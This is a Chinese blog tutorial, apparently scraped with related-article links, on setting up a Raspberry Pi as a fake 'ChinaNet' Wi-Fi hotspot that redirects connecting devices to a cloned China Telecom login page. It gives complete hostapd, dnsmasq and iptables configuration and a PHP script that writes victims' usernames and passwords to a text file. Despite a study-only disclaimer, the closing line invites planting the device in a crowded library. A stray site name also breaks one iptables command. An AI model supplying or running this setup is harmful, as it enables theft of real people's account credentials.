我们连接的公共wifi其实是非常不安全的网络,骇客可以利用wifi路由设备进行中间人攻击,劫持DNS伪造钓鱼网站。接下来我会做个简单的实验,伪造中国电信的路由ChinaNet并发射出热点wifi等待别人连接,从而达到获取用户的手机账户和密码的目的。
本记录仅供个人学习交流使用,请勿用于非法用途。

本次仅搭建热点进行设备引流,不做中间人攻击,而是简单的跳转到伪造的ChinaNet页面,等待连接的设备输入用户名和密码进行存储。

需要安装两个软件,并且做一些配置
hostapd(用于提供无线共享,创建wifi热点)
dnsmasq(用于配置DNS和DHCP的工具,可以对接入热点的设备进行流量引导)

1.安装 hostapd

1
apt-get install hostapd

2.编辑hostapd配置文件

1
vim /etc/hostapd/hostapd.conf

配置内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#Wifi接口名称,使用树莓派内置的无线网卡wlan0
interface=wlan0
#wifi热点网络名称,其他设备搜索到的wifi名称
ssid=ChinaNet
#频道设置为6
channel=6
#接受所有MAC地址
macaddr_acl=0
#忽略ssid广播,需要客户端知道网络名称
ignore_broadcast_ssid=0
#树莓派3的驱动
driver=nl80211
#使用2.4GHZ波段
hw_mode=g
#开启VMM
wmm_enabled=1

3.编辑hostapd的默认守护进程配置文件

1
vim /etc/default/hostapd

添加配置内容

1
DAEMON_CONF="/etc/hostapd/hostapd.conf"

4.编辑网络接口配置

1
vim /etc/network/interfaces

配置内容如下:

1
2
3
4
5
6
allow-hotplug wlan0
iface wlan0 inet static
address 172.24.1.1
netmask 255.255.255.0
network 172.24.1.0
broadcast 172.24.1.255

5.安装dnsmasq

1
apt-get install dnsmasq

6.编辑dnsmasq配置文件

1
vim /etc/dnsmasq.conf

配置内容如下:

1
2
3
4
5
6
7
interface=wlan0
listen-address=172.24.1.1
bind-interfaces
server=8.8.8.8
domain-needed
bogus-priv
dhcp-range=172.24.1.50,172.24.1.150,12h

7.编辑rc.local文件,在exit0 上方添加

1
iptables-restore < /etc/iptables.ipv4.nat

8.依次执行下列命令

1
2
3
4
5
sudo sh -c "echo 1 > /proc/sys/net/ipv4/ip_forward"
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo iptables -A FORWARD -i eth0 -o wlan0 -m state --state RELATED,ES 大专栏  树莓派搭建钓鱼wifi热点TABLISHED -j ACCEPT
sudo iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT
sudo sh -c "iptables-save > /etc/iptables.ipv4.nat"

9.启动hostapd和dnsmasq

1
2
sudo service hostapd start
sudo service dnsmasq start

10.重启系统

1
reboot

11.编写钓鱼网站程序
将自己的电脑先连接到中国电信的路由器ChinaNet网络上,并且将认证网页下载到本地。
修改认证网页的提交表单地址,可以提交给自己的远程服务器,也可以提交到本地。
这里我使用提交提交到本地的方式,将表单提交给一个php程序来处理。
登录认证页面

1
2
3
4
5
6
7
8
...
<form action="login.php" method="post" onsubmit="return false;" id="formCh">
<input name="userName" id="userName3" type="text" class="input_txt" value="">
<input name="password" id="password3" type="password" autocomplete="off" class="input_txt" value="">
<input type="image" src="./dlu.png" onclick="if(!this.disabled) return checkLogin3();">
</form>
...

处理程序
login.php

1
2
3
4
5
6
7
8
9
10
11
12
$userName = $_POST['userName']; // 获取用户名
$password = $_POST['password']; // 获取密码 // 以追加内容的方式打开pass.txt文件
$myfile = fopen("pass.txt","a");
// 要保存的数据:用户名 密码 当前时间
$info = "userName=$userName passWord=$password t".date("Y-m-d H:i:s")." n";
// 写入文件
fwrite($myfile,$info);
// 关闭文件流
fclose($myfile);

由于之前已经搭建好了LNMP的环境,自己将编写好的web程序放到/var/www/html路径下即可。php程序要给可执行权限才能操作磁盘文件进行读写,为了方便我们之间将整个html文件夹下的文件都设置为可执行
切换到/var/www/下 执行 chmod 777 html/*

12.打开手机,即可看到树莓派发出的ChinaNet网络

连接上后可以看到树莓派为连接上热点的wifi分配了ip地址

打开浏览器,随便输入一个url地址,都将被重定向到我们的钓鱼页面

用户输入用户名和密码后点击提交,将会执行指定的php程序

打开网页所在的文件夹下查看pass.txt文件,可以看到用户和密码以及登录时间

到此简单的钓鱼wifi就制作完成了。
树莓派+移动电源+Wi-Fi模块+大黑背包+一个人来人往的图书馆+将Wi-Fi名字设置为ChinaNet。你懂的

树莓派搭建钓鱼wifi热点的更多相关文章

  1. 简单快速搭建钓鱼wifi

    前言 钓鱼wifi是很久的话题了,但是传统的方法可能比较麻烦需要手动配置dhcp,dns,网卡,流量转发,比较麻烦,而且还有根据每次的网络环境需要重新的配置,这里介绍用WIFIpumpkin3工具简单 ...

  2. 将树莓派3B+变成WiFi热点

    我有一个树莓派3B+,安装的是官方的Raspbian Stretch操作系统,该系统和Debian 9很类似,很多命令都是通用的. 接下来我将演示如何利用树莓派搭建WiFi热点,此热点就和家里的无线路 ...

  3. 『邪恶のWIFI』搭建假冒WIFI热点等女神来蹭网啊 - -。

    pic by baidu 0x 00 ╮(╯▽╰)╭ 请喊我万恶的标题党  哈哈哈哈哈 0x 01 这里正题 虚拟机(Kali)不支持内置网卡,还好我有神器,插上我的RT8187L,开始搞起 参考资料 ...

  4. 利用路由器搭建受限wifi热点,气死蹭网的坏人~

    很多人的无线路由器都设密码,不在家的时候还会关了,一点互联网分享的精神都没有.我就一直开着无线路由器,也从不设密码,让周围的人可以搜到我的信号,连接成功,我就会很开心.虽然我没有装宽带,但我觉得这已经 ...

  5. (转)将win7电脑无线网变身WiFi热点,让手机、笔记本共享上网

    将win7电脑变身WiFi热点,让手机.笔记本共享上网 功能:开启windows 7的隐藏功能:虚拟WiFi和SoftAP(即虚拟无线AP),就可以让电脑变成无线路由器,实现共享上网,节省网费和路由器 ...

  6. 如何在Kali Linux中搭建钓鱼热点

    文中提及的部分技术可能带有一定攻击性,仅供安全学习和教学用途,禁止非法使用! 0×00 实验环境 操作系统:Kali 1.0 (VM) FackAP: easy-creds 硬件:NETGEAR wg ...

  7. 【树莓派】【转】将树莓派Raspberry Pi设置为无线路由器(WiFi热点AP,RTL8188CUS芯片)

    下文为转载,文章转自:http://wangye.org/blog/archives/845/,仅供本次学习实践参考. 最近又开始折腾起Raspberry Pi来了,因为某处上网需要锐捷拨号,于是我就 ...

  8. 将树莓派Raspberry Pi设置为无线路由器(WiFi热点AP,RTL8188CUS芯片)

    http://wangye.org/blog/archives/845/ 最近又开始折腾起Raspberry Pi来了,因为某处上网需要锐捷拨号,于是我就想能不能让我的树莓派代劳,当然首先要将其改造为 ...

  9. 钓鱼WIFI搭建

      1.无线网卡 2.KaliLinux操作系统,这里就不用说了,必备的 3.isc-dhcp-server服务器.安装好KaliLinux后只需要apt-get update 然后apt-get i ...

随机推荐

  1. 传输层上的TCP和UDP

    参考: 知乎 传输层概述 “三次握手,四次挥手”你真的懂吗? 传输层上的TCP和UDP TCP/IP协议是一个协议簇.里面包括很多协议的,UDP只是其中的一个, 之所以命名为TCP/IP协议,因为TC ...

  2. Linq------连表查询

    1 List<Student> list = new List<Student>() { ,sex="男"}, ,sex="男"}, , ...

  3. Java线程——线程池概念

    什么是线程池? 如果并发的线程数量很多,并且每个线程都是执行一个时间很短的任务就结束了,这样频繁创建线程就会大大降低系统的效率,因为频繁创建线程和销毁线程需要时间.那么有没有一种办法使得线程可以复用, ...

  4. 华为荣耀magic book(锐龙版)安装ubuntu系统

    荣耀magic book锐龙版性价比很高,前段时间在朋友推荐下我自己也入手了一台.机器整体感觉不错,续航时间长(办公.无线上网5-6小时吧),速度快,买的时候4300,现在已经降到4000以下了,也算 ...

  5. C++ 11新标准实现POJ No.2195-GoingHome

    Going Home(回家)(标签:二部图,匈牙利算法,KM算法) 题目描述 在网格地图上,有n个男人和n个房屋. 在每个单位时间内,每个小人都可以水平或垂直移动一个单位步长到相邻的点. 对于每个小人 ...

  6. order by rand()优化

    优化前: SELECT id, loan_id, NAME, company FROM tablename WHERE time BETWEEN 1522512000 AND 1525103999 A ...

  7. urllib简单介绍

    # urllib简介: 1.urllib模块是Python的一个请求模块 2.Python2中是urllib和urllib2相结合实现请求的发送. Python3中统一为urllib库 3.urlli ...

  8. sklearn 缺失值填补(总结)

    首先查看数据形态: data.shape 再查看数据类型和非空值的个数与比例 data.info() 使用SimpleImputer进行填补 from sklearn.impute import Si ...

  9. 神奇的Python代码

    一 def f(arg=i): print(arg) i = 6 f() i = 7 f(i) 输出结果是: 7 7

  10. 常用DOS命令(1) color,dir,copy,shutdown,mkdir(md),rmdir(rd),attrib,cd

    1.  color color [attr] 设置默认的控制台前景和背景颜色. attr        指定控制台输出的颜色属性.颜色属性由两个十六进制数字指定 -- 第一个对应于背景,第二个对应于前 ...